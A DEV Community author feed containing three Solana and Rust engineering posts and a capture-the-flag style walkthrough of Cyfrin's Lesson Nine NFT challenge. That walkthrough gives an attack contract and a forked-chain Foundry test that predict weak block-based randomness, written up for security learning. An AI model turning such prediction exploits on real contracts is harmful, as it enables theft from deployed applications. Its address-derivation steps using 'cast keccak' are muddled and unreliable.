DEV Community: Kode-n-Rolla

Engineering a Solana Escrow Program With Anchor

Kode-n-Rolla — Sun, 14 Jun 2026 18:49:19 +0000

Intro

Hello, friend 👋

My name is Pavel, aka kode-n-rolla.
I am a Security Engineer, and today I want to share my engineering view of a Solana escrow program. I named it Escrovia.

Escrow programs are a good way to understand what makes Solana development different from more conventional backend work.

At first glance, an escrow looks simple: one user locks token A, another user pays token B, and the program releases the locked funds. The interesting part is not the high-level business logic. The interesting part is how the program models authority, account relationships, token ownership, and invalid account combinations.

On Solana, this simple idea becomes a great exercise in account architecture.

To build escrow correctly, we need to think about PDAs, token vaults, authority checks, account constraints, signer validation, and safe state transitions.

That is why I built Escrovia - a compact Anchor-based escrow program focused on clean account design and predictable instruction flow.

Let’s dive in. 🥽

Why Split the Program Into Instructions

First of all lets talk about projects structure.

Anchor examples often keep everything inside lib.rs. That is fine for a short demo, but it becomes harder to maintain once the program starts to grow.

Escrovia separates each instruction into its own module:

programs/escrovia/src/
├── lib.rs
├── state.rs
├── errors.rs
└── instructions/
    ├── mod.rs
    ├── make.rs
    ├── take.rs
    └── refund.rs

This structure keeps each instruction focused on a specific flow:

make creates an escrow offer and locks the maker's tokens.
take completes the swap and releases the vault tokens to the taker.
refund lets the maker cancel the offer before it is taken.

The benefit is not only readability. Each instruction has its own account graph, constraints, CPI calls, and failure modes. Keeping them separate makes it easier to reason about one boundary at a time.

The program entrypoints in lib.rs stay intentionally small:

pub fn make(
    ctx: Context<Make>,
    seed: u64,
    receive: u64,
    amount: u64,
) -> Result<()> {
    instructions::make::handler(ctx, seed, receive, amount)
}

pub fn take(ctx: Context<Take>) -> Result<()> {
    instructions::take::handler(ctx)
}

pub fn refund(ctx: Context<Refund>) -> Result<()> {
    instructions::refund::handler(ctx)
}

This pattern turns lib.rs into a routing layer. The actual instruction logic lives next to the account context that validates it.

The Escrow Flow 🌊

The escrow has three main states from a user perspective:

A maker creates an offer.
A taker accepts the offer.
The maker refunds the offer if it has not been taken.

In the make flow, the maker deposits token A into a vault controlled by the escrow PDA. The program stores the expected token B mint and amount in the escrow state account.

In the take flow, the taker sends token B to the maker. If that transfer succeeds, the program signs as the escrow PDA and releases token A from the vault to the taker.

In the refund flow, only the maker can cancel the escrow. The program returns token A from the vault to the maker and closes the escrow accounts.

The important detail is that the program does not rely on an off-chain agreement. The terms are stored on-chain in the escrow state.

#[account]
#[derive(InitSpace)]
pub struct Escrow {
    pub seed: u64,
    pub maker: Pubkey,
    pub mint_a: Pubkey,
    pub mint_b: Pubkey,
    pub receive: u64,
    pub bump: u8,
}

This state account is the source of truth for the swap. It records who created the escrow, which mint was deposited, which mint is expected in return, how much should be paid through the receive field, and which bump is required to sign as the PDA.

Modeling Accounts as a Security Boundary

On Solana, users provide accounts to instructions. That means a program must not only execute logic; it must verify that the supplied accounts form the expected relationship graph.

For an escrow, that graph includes:

the maker signer;
the escrow state PDA;
the maker's token account for token A;
the vault token account controlled by the escrow PDA;
the taker's token account for token B;
the maker's token account for token B;
the token mints;
the token program and associated token program.

This is why Anchor account constraints matter. They are not decorative boilerplate. They define which combinations of accounts are valid and which combinations should fail before any funds move.

For example, the escrow PDA can be derived from a stable set of seeds:

seeds = [b"escrow", maker.key().as_ref(), seed.to_le_bytes().as_ref()]

That derivation gives the program a deterministic address for each maker and seed pair. It also prevents two escrow offers from using the same maker and seed without colliding on the same state account.

The vault is modeled as an associated token account where the authority is the escrow PDA:

associated_token::mint = mint_a,
associated_token::authority = escrow

This matters because the vault should not be controlled by the maker or the taker. It should be controlled by program logic through the PDA.

PDA-Controlled Vaults

The vault is where the maker's deposited token A is held while the escrow is open.

The program cannot own a private key, so it cannot sign like a normal wallet. Instead, it uses a PDA as the vault authority. When the program needs to move funds out of the vault, it signs a CPI with the same seeds used to derive the PDA.

Conceptually, the signer seeds look like this:

let signer_seeds: &[&[&[u8]]] = &[&[
    b"escrow",
    self.maker.to_account_info().key.as_ref(),
    &self.escrow.seed.to_le_bytes()[..],
    &[self.escrow.bump],
]];

Those seeds allow the program to authorize token transfers from the vault without ever needing a private key.

This is one of the core ideas in Solana escrow design:

The vault is not trusted because it exists. It is trusted because its mint, authority, and address are constrained to match the escrow state.

If the instruction accepted any vault account without validation, a malicious transaction could try to route funds through an unrelated token account. The account constraints prevent that.

Instruction Responsibilities

Each instruction has a narrow responsibility.

Make

make initializes a new escrow offer.

It is responsible for:

creating the escrow state PDA;
creating or validating the vault token account;
transferring the maker's deposited token A into the vault;
storing the escrow terms on-chain.

The most important checks are that the maker owns the source token account, the deposited mint matches mint_a, and the vault is controlled by the escrow PDA.

Take

take completes the swap.

It is responsible for:

transferring token B from the taker to the maker;
transferring token A from the vault to the taker;
closing the vault token account;
closing the escrow state account.

The order matters. The taker should only receive token A after the maker receives token B. The program also needs to ensure that the token accounts match the mints stored in the escrow state.

Refund

refund cancels an open escrow.

It is responsible for:

allowing only the maker to cancel;
transferring token A from the vault back to the maker;
closing the vault;
closing the escrow state account.

This instruction is intentionally smaller than take, but it is still security-sensitive. A refund path that does not validate the maker or vault correctly can become a way to drain locked funds.

Testing the Account Graph

The happy path proves that the program works when all accounts are correct and every participant behaves honestly.

That is necessary, but not sufficient.

For Solana programs, many bugs live in invalid account combinations. A transaction can pass accounts that are structurally valid Solana accounts but semantically wrong for the instruction.

Escrovia's tests cover the main flows:

creating an escrow;
taking an escrow;
refunding an escrow.

They also cover negative cases:

refund from a non-maker;
take with insufficient token B balance;
make with zero deposit amount;
make with zero receive amount;
take with the wrong vault;
refund with the wrong vault;
make with a token account not owned by the maker;
duplicate escrow creation with the same maker and seed.

These tests are not only about reaching code coverage numbers. They check whether the account model rejects transactions that should not be valid.

A useful pattern in the tests is to assert that failed transactions do not mutate important state:

const escrowAccount = await provider.connection.getAccountInfo(escrowPda);
expect(escrowAccount).to.not.be.null;

const vaultAccount = await getAccount(provider.connection, vaultAta);
expect(Number(vaultAccount.amount)).to.eq(depositAmount);

This verifies that the escrow and vault remain locked after an invalid attempt.

What the Implementation Reinforced

The main lesson from building Escrovia is that token transfer logic is only one part of the program.

The more important part is the account model:

Which account owns the state?
Which PDA controls the vault?
Which token mint belongs to each token account?
Which signer is authorized to perform the action?
Which accounts should be closed after the escrow is resolved?

Getting these relationships right makes the instruction logic smaller and easier to audit.

The second lesson is that modularity pays off early. Even in a compact program, splitting make, take, and refund into separate instruction modules keeps the implementation easier to read, test, and refactor.

The third lesson is that tests should include hostile account combinations. A program that only passes happy-path tests may still accept invalid accounts in production-like scenarios.

Conclusion

Escrovia is a compact escrow program, but it touches several important Solana development patterns:

PDA-derived state;
PDA-controlled token vaults;
associated token account constraints;
CPI signing with seeds;
account closing;
positive and negative integration tests.

For escrow-like programs, the core engineering task is not just moving tokens. It is defining and enforcing the account graph that makes those token movements safe.

Once that graph is clear, the instruction logic becomes much easier to reason about.

Outro

Thank you for your time, dear reader. 🤜🤛

I hope this article gave you something useful - whether it was a better understanding of Solana escrow architecture, PDA-based account design, token custody, or simply another perspective on how small programs can still contain real engineering decisions.

If you want to follow my work, discuss Solana security, or share feedback, you can find me here:

GitHub 🧑‍💻
GitLab 🥼

LinkedIn 💼

Medium and Hashnode ✍️

X (aka Twitter) 💬

Stay curious 🔬.

Stay cyber safe 🛡️.

Building SolaNotes: Deterministic PDA Design in a Solana Program

Kode-n-Rolla — Sun, 07 Jun 2026 16:08:26 +0000

👋 Intro

Hey friend, my name is Pavel, also known as kode-n-rolla.

I am a Security Engineer, and today I want to walk through a small Solana program that helped me explore one of the most important foundations of Solana development: accounts.

Because on Solana, everything is an account.

Unlike EVM contracts, Solana programs do not keep their own internal storage in the same way. A program contains logic, while state lives in separate accounts passed into instructions. Once this idea clicks, the rest of Solana development starts to make much more sense.

That is why I built SolaNotes (Project lives here).

Let’s dive in. 🥽

About

Small on-chain programs are useful when the scope is narrow enough to make every architectural decision visible.

That was the idea behind SolaNotes - a compact Solana/Anchor notes program built around deterministic PDA derivation, explicit ownership checks, fixed account sizing, monotonic identifiers, and testable state transitions.

The application domain is intentionally simple: users can initialize a profile, create notes, update their own notes, and close notes. But even this small workflow touches several important Solana development patterns:

how to model user-owned state;
how to derive deterministic accounts;
how to prevent unauthorized account mutation;
how to avoid accidental PDA reuse;
how to test both valid and invalid flows.

The goal was not to build a full notes product. The goal was to design a small on-chain workflow cleanly.

Core Idea

SolaNotes has two account types:

UserProfile
Note

Each user gets one profile PDA. Each note is derived from the user authority and a monotonic note id.

profile PDA = ["profile", authority]
note PDA = ["note", authority, note_id]

The profile stores the owner and the next note id. The note stores the actual note data.

The important detail is that note_count is not treated as "number of active notes". It is treated as a monotonic id source. Closing a note does not decrement it.

That design prevents accidental PDA reuse.

Account Model

Wallet["User wallet / signer"] --> Program["SolaNotes program"]

Program --> Profile["UserProfile PDA, seeds: ['profile', authority]"]
Profile --> Counter["note_count, monotonic id source"]

Program --> Note0["Note PDA #0, seeds: ['note', authority, 0]"]
Program --> Note1["Note PDA #1, seeds: ['note', authority, 1]"]

Note0 --> Data0["created_at, updated_at"]
Note1 --> Data1["created_at, updated_at"]

The UserProfile account stores:

authority: Pubkey
note_count: u64
created_at: i64

The Note account stores:

authority: Pubkey
note_id: u64
title: String
content: String
created_at: i64
updated_at: i64

The identity of a note is stable after creation:

authority does not change;
note_id does not change;
created_at does not change.

Only the note content and updated_at timestamp are mutable.

Instruction flow

SolaNotes exposes four instructions:

initialize
create_note
update_note
close_note

initialize

The initialize instruction creates the user profile PDA.

It sets:

the signer as the profile authority;
note_count to 0;
created_at from the Solana clock sysvar.

This creates the root account for all future notes owned by that signer.

create_note

The create_note instruction creates a new note PDA using the current profile counter.

The flow is:

User->>Program: create_note(title, content)
Program->>Program: validate title/content length
Program->>Profile: read note_count
Program->>Note: initialize PDA using authority + note_count
Program->>Note: write note data
Program->>Profile: increment note_count
Program-->>User: transaction confirmed

The note id comes from profile.note_count.

After the note is created, the counter is incremented using checked arithmetic. This keeps note creation deterministic while avoiding silent overflow behavior.

update_note

The update_note instruction allows the owner to update an existing note.

The note PDA is derived from:

["note", signer, note_id]

This means that the account structure itself already encodes ownership. The instruction also verifies that the passed note belongs to the signer.

The update changes:

title;
content;
updated_at.

It does not change:

authority;
note_id;
created_at.

close_note

The close_note instruction closes the note account and refunds rent to the signer.

The profile counter is not decremented.

This is a small but important design decision. If note #0 is closed, the next created note still gets id #1, not #0 again.

That keeps PDA derivation predictable and prevents identity reuse.

Validation model

The program uses two layers of validation.

The first layer is structural validation through Anchor account constraints:

seeds
bump
init
mut
close
account ownership constraints

The second layer is business-logic validation inside instruction handlers:

title length checks;
content length checks;
counter overflow checks.

This separation keeps the account model explicit. PDA structure and ownership are handled at the account level. Application-specific rules are handled in the instruction logic.

Why fixed-size account allocation matters

The program uses fixed limits for note data:

MAX_TITLE_LENGTH = 64
MAX_CONTENT_LENGTH = 512

The string length checks are performed using UTF-8 byte length, matching how the account size is calculated on-chain.

This avoids a common class of issues where the client assumes one size model, while the on-chain account allocation uses another.

The current version intentionally avoids realloc. That keeps the first version simpler and makes the account sizing rules easier to reason about.

Testing strategy

The test suite is written with Anchor TypeScript tests.

The tests cover both successful and rejected flows:

profile initialization;
first note creation;
second note creation;
note update by the owner;
rejected update attempt by another signer;
note closure;
verification that the closed account no longer exists;
verification that a closed note id is not reused.

One important test checks that an attacker cannot update another user's note.

The attacker signs the transaction, but the PDA derivation and account constraints do not match the attacker's authority. The transaction fails, and the original note data remains unchanged.

That test is small, but it validates the most important security property of the program: only the note owner can mutate their own note account.

What I intentionally left out

SolaNotes is intentionally compact.

The current version does not include:

note sharing;
indexing;
search;
dynamic resizing;
encryption;
frontend integration;
multi-user collaboration.

Those features would add product complexity. For this version, I wanted the core account architecture to stay visible.

The focus was:

one user → one profile PDA → many deterministic note PDAs

That constraint made it easier to reason about ownership, state transitions, and test coverage.

Engineering decisions:

I used one profile PDA per authority to keep user-owned state explicit.
I used a monotonic note counter to avoid PDA reuse after account closure.
I kept note identity immutable after creation.
I avoided realloc in the first version to keep account sizing predictable.
I tested rejected ownership flows, not only happy paths.

🤔 Final thoughts

SolaNotes is a small program, but it was useful as an engineering exercise in Solana account design.

The main takeaway is that even a minimal on-chain workflow benefits from disciplined architecture:

deterministic PDA derivation;
explicit ownership checks;
monotonic identifiers;
clear account sizing;
separate structural and business validation;
tests for both expected and rejected behavior.

Small scope does not mean casual implementation.

Sometimes a compact program is the best place to make the architecture explicit.

🤝 Connect Section

If you enjoyed this research breakdown, feel free to connect:

GitHub 🧑‍💻
LinkedIn 💼
Medium and Hashnode ✍️
X (aka Twitter) 💬

Stay Cyber Safe 🛟

How Building `shuka` Helped Me Stay Consistent

Kode-n-Rolla — Mon, 25 May 2026 14:00:42 +0000

This is a submission for the GitHub Finish-Up-A-Thon Challenge

Intro

Hello 👋
I am kode-n-rolla and this is my story.

What I Built

⛏️ shuka is a Rust CLI tool for fetching verified smart contract source code from blockchain explorers and saving the full source tree locally.

Many bug bounty programs and Web3 projects do not always provide a public GitHub repository. Sometimes the only reliable entry point for research is a verified contract address on a blockchain explorer.

I built shuka to make this workflow faster and cleaner: instead of manually copying source files from an explorer, a researcher can fetch the verified source code directly and start analyzing it locally.

Demo

You can try by yourself 👉 GitHub

The Comeback Story

🚩I started shuka when I was getting deeper into Web3 security.

At that time, I often saw the same problem: many smart contract targets do not have a public GitHub repository. Sometimes the only starting point is a verified contract address on a blockchain explorer. As a researcher 🔎, you need to manually open the explorer, copy source files, recreate the structure locally, and only then start reading the code properly.

I wanted to make this workflow cleaner.

The first version of the idea started in Python 🐍. It felt like the fastest way to prototype something useful. But the project did not move as smoothly as I expected. I was learning, switching contexts, dealing with uncertainty, and sometimes losing focus. There were moments when the tool was less about "shipping a product" and more about trying to stay consistent while everything around me felt noisy.

At some point, I decided to restart the project in Rust 🦀.

That decision gave the project a new shape. Rust was not the easiest path, especially because I was still learning many language patterns while building. But this was exactly what made the project meaningful to me. shuka became a way to practice Rust not through isolated exercises, but through a real tool with a real use case.

The comeback was not only about rewriting the code. It was about turning an unfinished idea into something I could actually publish, maintain, and improve 💪.

My Experience with GitHub Copilot

🤖 GitHub Copilot helped me mostly as a development assistant, not as a replacement for understanding the code.

Since I was still learning Rust patterns while building the project, Copilot was useful for syntax hints, small refactoring suggestions, and helping me move faster when I already understood what I wanted to implement.

The most valuable part was not generating large blocks of code, but reducing friction: reminding me of Rust syntax, suggesting small improvements, and helping me stay in flow.

Final thoughts 🤔

Building shuka helped me stay disciplined. Some days were productive, some were slow, and some were full of doubts. But the project gave me a clear direction: open the editor, write code, improve one small part, run it again, and keep moving.

Publishing shuka was a small but meaningful milestone for me 🏁. It reminded me that open source is not only about huge frameworks or popular libraries. Sometimes it starts with a small tool that solves one real problem.

shuka is still at the beginning of its journey 🛣️, and I plan to keep improving it, adding more explorers, chains, and features over time.

Thanks to GitHub and DEV for creating this challenge. It gave me a good reason to reflect on this project, finish the story around it, and share shuka with the community.

Thanks for reading, my friend 🤜🤛.

Keep building, keep learning, and stay cyber safe 🛡️.

🎯 Cracking Cyfrin's NFT Challenge: Guessing Pseudo-Randomness Like a Pro

Kode-n-Rolla — Sat, 16 Aug 2025 19:27:49 +0000

Hey there!

I'm kode-n-rolla — a security researcher diving deep into Web3 security. I'm fascinated by how blockchains work under the hood, especially when it comes to smart contract vulnerabilities. Every day I’m reverse-engineering contracts, breaking things (ethically 😉), and sharpening my Solidity + Foundry skills.

Recently, I discovered Cyfrin Updraft — a free platform for learning Solidity and blockchain security. Alongside their learning modules, they offer unique NFT challenges. These are not ordinary quizzes — you have to actually exploit something to solve the task and earn a badass on-chain NFT proving your skills 🧠🔓

This article is a walkthrough of how I solved Lesson Nine, a challenge where your goal is to guess a pseudo-random number and call solveChallenge(...) to claim the NFT.

Sounds impossible? Not really — once you understand:

How abi.encodePacked, keccak256 and % 100000 work together
How values like block.timestamp and block.prevrandao affect randomness
How to simulate the Sepolia chain using a fork + vm.warp in Foundry
How to craft the correct input without reverting

If you're learning smart contract security and want a hands-on example of attacking pseudo-randomness — this one's for you. Let’s dig in 🔍

🛠️ Setting Up the Playground

Before writing any exploit code, we need a proper environment to simulate the real Sepolia blockchain.

🔧 Step 1: Start a Foundry project

forge init lesson9
cd lesson9

Foundry is my go-to tool for smart contract testing. It's blazing fast, flexible, and lets you fork real blockchains easily.

📁 Step 2: Create a .env file

We’ll be forking Sepolia at a specific block, so we need to set up environment variables.

SEPOLIA_RPC="https://sepolia.infura.io/v3/YOUR_API_KEY"
TARGET="0xTargetContractAddress"
FORK_BLOCK=8997426

To load them inside tests, don’t forget to source the file:

source .env

🔍 Step 3: Pick a specific block to fork

Why do we need a fixed block?

Because the challenge uses block.timestamp and block.prevrandao as part of the pseudo-randomness. If you don’t lock those values, your guess will always be wrong.

Get the latest block number:

cast block-number --rpc-url $SEPOLIA_RPC

Pick one (e.g., 8997426) and get its full details:

cast block 8997426 --rpc-url $SEPOLIA_RPC

Save the timestamp and mixHash (this is actually prevrandao).

Step 4: Add the target interface

Create src/ILessonNine.sol
with the interface of the challenge contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

/// @title LessonNine Interface - Solve the pseudo-randomness challenge
interface ILessonNine {
    function solveChallenge(uint256 randomGuess, string calldata yourTwitterHandle) external;
}

Why interface? Because we don’t need the full contract, just its external call signature to interact with it.

Ready for the next step — generating the correct input and attacker address? 😏

Let’s go!

🎯 Cracking the "Random" — Making a Correct Guess

The goal of this challenge is to guess the correct number (between 0 and 99999) generated inside the contract. It uses a very common but insecure pattern for pseudo-randomness:

uint256 guess = uint256(keccak256(abi.encodePacked(msg.sender, block.prevrandao, block.timestamp))) % 100000;

Let’s break that down. It depends on:

msg.sender: in our case, it's a contract we deploy
block.prevrandao: randomness beacon from the previous block (also called mixHash)
block.timestamp: current block timestamp

But since we control all of this (via a fork!), the randomness isn't really random anymore 😉

🕵️‍♂️ Step 1: Re-create the guess off-chain

We start by selecting:

A known timestamp from the block (1755355572)
A known prevrandao/mixHash from the block (0x3a70aa...)
And we choose our attacker contract address

But we need to know the future address of our attacking contract… wait, how?

🧠 Step 2: Predict attacker contract address

Since we're deploying the attacking contract from a fixed EOA, the deployed contract address is predictable.

We picked an attacker address:

export attackerEOA=0x97154a62Cd5641a577e092d2Eee7e39Fcb3333Dc

Then we computed the contract address using Foundry:

cast keccak "attacker"
# → 0x3a70aa...  ← use the last 40 hex characters (20 bytes) for the contract address

🔢 Step 3: Build the exact calldata

The solveChallenge() function expects:

function solveChallenge(uint256 randomGuess, string calldata yourTwitterHandle)

To simulate the guess off-chain, we do:

cast abi-encode "f(address,uint256,uint256)" \
  <contract_address> \
  <prevrandao> \
  <timestamp>

Then hash the full data:

cast keccak <abi_encoded_data>

And finally:

echo "$((0x<hash> % 100000))"
# ✅ That’s your correct guess!

In our case, the guess was 90451.

🔥 This is the core of the challenge — reversing a weak random generator with on-chain data. It shows why you should never use block variables for randomness in security-critical logic.

🛠 Writing the Exploit — Deploy, Guess, Profit

Once we’ve cracked the guess off-chain, it’s time to actually submit it. But there’s one more twist — the challenge contract is expecting the call from a smart contract (not an EOA), which will act as the msg.sender.

Let’s build that!

📦 Hack Contract

contract HackLessonNine {
    ILessonNine public target;
    string public handle;

    constructor(address _target, string memory _handle) {
        target = ILessonNine(_target);
        handle = _handle;
    }

    function run() public {
        uint256 guess = uint256(
            keccak256(
                abi.encodePacked(address(this), block.prevrandao, block.timestamp)
            )
        ) % 100000;

        target.solveChallenge(guess, handle);
    }

    receive() external payable {}

    function onERC721Received(...) external pure returns (bytes4) {
        return this.onERC721Received.selector;
    }
}

What’s happening here:

We store the target contract and Twitter handle.
In run() we rebuild the guess on-chain using address(this), block.prevrandao and block.timestamp — exactly as the challenge does.
Then we call solveChallenge() with the guess.
The onERC721Received function is required to receive the NFT if the challenge uses safeTransferFrom.

Writing the Forge Test

contract HackSolve is Test {
    uint256 fork;
    address TARGET;
    address attackerEOA = 0x97154a62Cd5641a577e092d2Eee7e39Fcb3333Dc;

    function setUp() public {
        string memory rpc = vm.envString("SEPOLIA_RPC");
        uint256 blockNum = vm.envUint("FORK_BLOCK");
        TARGET = vm.envAddress("TARGET");

        fork = vm.createFork(rpc, blockNum);
        vm.selectFork(fork);

        vm.warp(1755355572); // ⏳ Timestamp override
        vm.deal(attackerEOA, 1 ether); // 💰 Fund the attacker
    }

    function test_ExploitWithInternalCall() public {
        vm.selectFork(fork);
        vm.startPrank(attackerEOA);

        HackLessonNine hack = new HackLessonNine(TARGET, "0xsolver");
        hack.run();

        vm.stopPrank();
    }
}

🧠 Why this works:

The fork is created at the block we analyzed earlier.
vm.warp() freezes the time to match the one used in the off-chain guess.
startPrank() lets us deploy and interact as the attackerEOA, keeping the deployed contract address consistent.
Finally, we deploy the HackLessonNine contract and call run() — and voilà! 🎉

If everything’s correct, the NFT will be minted to the contract and transferred to the attacker EOA!

All Code on GitHub

You can find all the necessary files for this challenge — including the HackLessonNine contract, the Forge test, and even .env examples — in my GitHub repo 👉 here

This way, you don’t need to copy-paste from the article — everything’s structured and ready to run.

📘 Bonus: NatSpec Comments

I also added NatSpec comments to the contracts — it’s a good practice to document your smart contracts properly, especially when collaborating or auditing. Think of it as the Solidity equivalent of writing clean commit messages 😄

They might look like this:

/**
 * @title HackLessonNine
 * @author your name
 * @notice This contract computes the pseudo-random number and calls the solve function.
 */

They don’t affect execution, but they help readers (and tools!) understand your code faster. Let’s make good habits the default. 👨‍💻✨

✅ Writing the Forge Test

Here’s where the magic happens — we simulate the entire attack in a Foundry test using a Sepolia fork. This gives us a clean and controlled environment where we can call solveChallenge under real blockchain conditions.

Let’s break it down:

contract HackSolve is Test {
    uint256 fork;
    address TARGET;
    address attackerEOA = 0x9715...3Dc;

We define:

fork – for storing our fork ID,
TARGET – the target contract we’ll interact with,
attackerEOA – the address we manually derived earlier (you remember that cast keccak moment 😏).

setUp(): Preparing the Fork

function setUp() public {
    string memory rpc = vm.envString("SEPOLIA_RPC");
    uint256 blockNum = vm.envUint("FORK_BLOCK");
    TARGET = vm.envAddress("TARGET");

    fork = vm.createFork(rpc, blockNum);
    vm.selectFork(fork);

    vm.warp(1755355572);
    vm.deal(attackerEOA, 1 ether);
}

This function:

Reads our .env variables,
Creates and selects a fork of Sepolia at the exact block we inspected,
Time-travels to the original block timestamp using vm.warp, and
Funds our attackerEOA with 1 ether to pay for gas 💸

🚀 test_ExploitWithInternalCall()

function test_ExploitWithInternalCall() public {
    vm.selectFork(fork);
    vm.startPrank(attackerEOA);

    HackLessonNine hack = new HackLessonNine(TARGET, "0xsolver");
    hack.run();

    vm.stopPrank();
}

This is the actual exploit:

We use vm.startPrank(attackerEOA) to impersonate the attacker.
We deploy the HackLessonNine contract with our handle (that shows up on the NFT 👀).
Calling run() triggers the pseudo-random guess generation and sends it to the challenge contract.

Let’s run the test command:

forge test --mc HackSolve -vvv
[⠊] Compiling...
[⠑] Compiling 1 files with Solc 0.8.30
[⠘] Solc 0.8.30 finished in 1.55s
Compiler run successful!

Ran 1 test for test/HackSolve.t.sol:HackSolve
[PASS] test_ExploitWithInternalCall() (gas: 621045)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 399.25ms (1.14ms CPU time)

Ran 1 test suite in 401.88ms (399.25ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

If everything is like this… 🎉 you receive the NFT (locally, not in real network)!

🧠 Final Thoughts: Pseudorandomness & Blockchain

Before we wrap up, let’s talk briefly about the core idea behind this challenge — pseudorandom numbers.

In traditional applications, generating random numbers is relatively easy thanks to system entropy (e.g. from mouse movement, CPU jitter, etc). But on-chain randomness is a completely different beast.

Why?
Because everything on the blockchain is deterministic. Every node must come to the exact same state — otherwise, consensus breaks.

That’s why when developers try to use values like block.timestamp, block.prevrandao, or msg.sender to simulate randomness, it’s never truly random — and often, it's predictable or manipulatable.

This is where pseudorandomness comes in — it’s not real randomness, but it's often "good enough"... unless a clever attacker (like us 😉) finds the pattern.

🔒 For truly secure randomness on-chain, projects rely on oracles like Chainlink VRF. It provides verifiable randomness — provably fair and tamper-resistant.

🙌 Thanks for Reading

Thanks for coming along this journey with me!

I hope this walkthrough helped demystify not only the challenge but also how randomness works (or doesn’t work!) on-chain.
If you're also diving into Web3 security, Solidity fuzzing, or just love weird quirks in smart contracts — let’s connect!

📎 Useful links:

🔗 My GitHub
🧠 My Tech and Security articles on Medium
🤝 Connect with me on LinkedIn

Happy hacking! 👾